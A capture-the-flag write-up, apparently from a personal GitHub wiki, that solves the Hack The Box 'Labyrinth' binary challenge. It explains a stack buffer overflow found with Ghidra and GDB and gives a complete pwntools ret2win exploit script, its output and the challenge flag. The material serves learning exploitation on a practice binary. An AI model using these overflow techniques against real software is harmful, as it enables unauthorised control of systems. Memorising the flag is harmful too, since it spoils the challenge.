HTB Labyrinth writeup - Pez1181/CTF GitHub Wiki
- Binary Exploitation (pwn)
- Stack Buffer Overflow
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found โ
NX: NX enabled ๐ซ (we can't run shellcode)
PIE: No PIE โ
(static binary, fixed addresses)
Running the binary presents a classic str compare input nugget, hinting that some door number triggers another code path:
Select door:
Door: 001 Door: 002 ... Door: 100
>>
Upon decompiling main()
in Ghidra, I found:
fgets(local_18, 5, stdin);
if (strncmp(local_18, "69", 2) == 0 || strncmp(local_18, "069", 3) == 0)
{
// Prompt about changing your mind
fgets(local_38, 0x44, stdin); // ๐งจ Vulnerable input
}
Entering 69
or '069' gives a second input prompt. Looking closer at this second input revealed the vulnerability.
char local_38[32];
fgets(local_38, 0x44, stdin); // 0x44 = 68 bytes into a 32-byte buffer!
โก๏ธ Classic stack-based buffer overflow.
โก๏ธ We can overwrite the return address and hijack control flow.
Using Ghidra, I searched for functions with interesting names and found escape_plan()
:
void escape_plan(void) {
puts("Congratulations on escaping! ...");
open("./flag.txt");
read and print the flag;
return;
}
However, main()
never calls it โ nor does any other function.
Using Ghidraโs Xrefs to on escape_plan()
confirms: โ no calls โ it's meant to be exploited.
To find out how many bytes to overflow before overwriting RIP
, I used cyclic
from Pwntools:
cyclic 100 > pattern.txt
./labyrinth
# Input '69' at the first prompt
# Paste contents of pattern.txt at the second prompt
Then opened GDB:
gdb ./labyrinth core
info registers
From RIP
, I extracted the crashed value and found the offset:
cyclic -l <value>
๐งฎ Result: Offset = 56
That means:
- 32 bytes for
local_38
- 8 bytes for saved
RBP
- 16 more bytes (possibly padding or alignment)
Using disassemble escape_plan
in GDB:
0x401255 <escape_plan>:
push rbp
mov rbp,rsp
Initially, I tried:
payload = b"A" * 56 + p64(0x401255)
But the binary simply printed "[-] YOU FAILED TO ESCAPE!" โ no segfault, but also no flag.
Trying:
payload = b"A" * 56 + p64(0x401256)
๐ฅ Success! Flag printed.
0x401255
begins with push rbp
.
If the stack alignment is off (not 16-byte aligned), glibc quietly fails when escape_plan()
is entered via ret
.
Jumping to 0x401256
skips the push rbp
and avoids alignment issues. Itโs a common exploit trick โ jump to function+1.
from pwn import *
exe = ELF('./labyrinth')
context.binary = exe
p = process('./labyrinth')
escape_plan = 0x401256 # Jump to function+1 to avoid stack issues
offset = 56
payload = b"A" * offset + p64(escape_plan)
# Step 1: trigger hidden input
p.sendlineafter(b'>>', b'69')
# Step 2: overflow the buffer and hijack RIP
p.sendlineafter(b'>>', payload)
# Drop to interactive to see the flag
p.interactive()
[+] Starting local process './labyrinth': pid 21684
[*] Switching to interactive mode
Congratulations on escaping! Here is a sacred spell to help you continue your journey :
HTB{buffer0verfl0w_1s_l0v3}
- We discovered a hidden path by exploring strings in the binary.
- We used Ghidra + GDB + Pwntools to identify and exploit a stack overflow.
- The
fgets()
into a fixed-size buffer was our entry point. - Stack alignment matters โ and sometimes skipping the first instruction (
+1
) saves the day. - Exploiting non-called win functions is a common CTF technique.
๐งโโ๏ธ โFly like a bird and be free!โ โ prophetic advice from the challenge itself.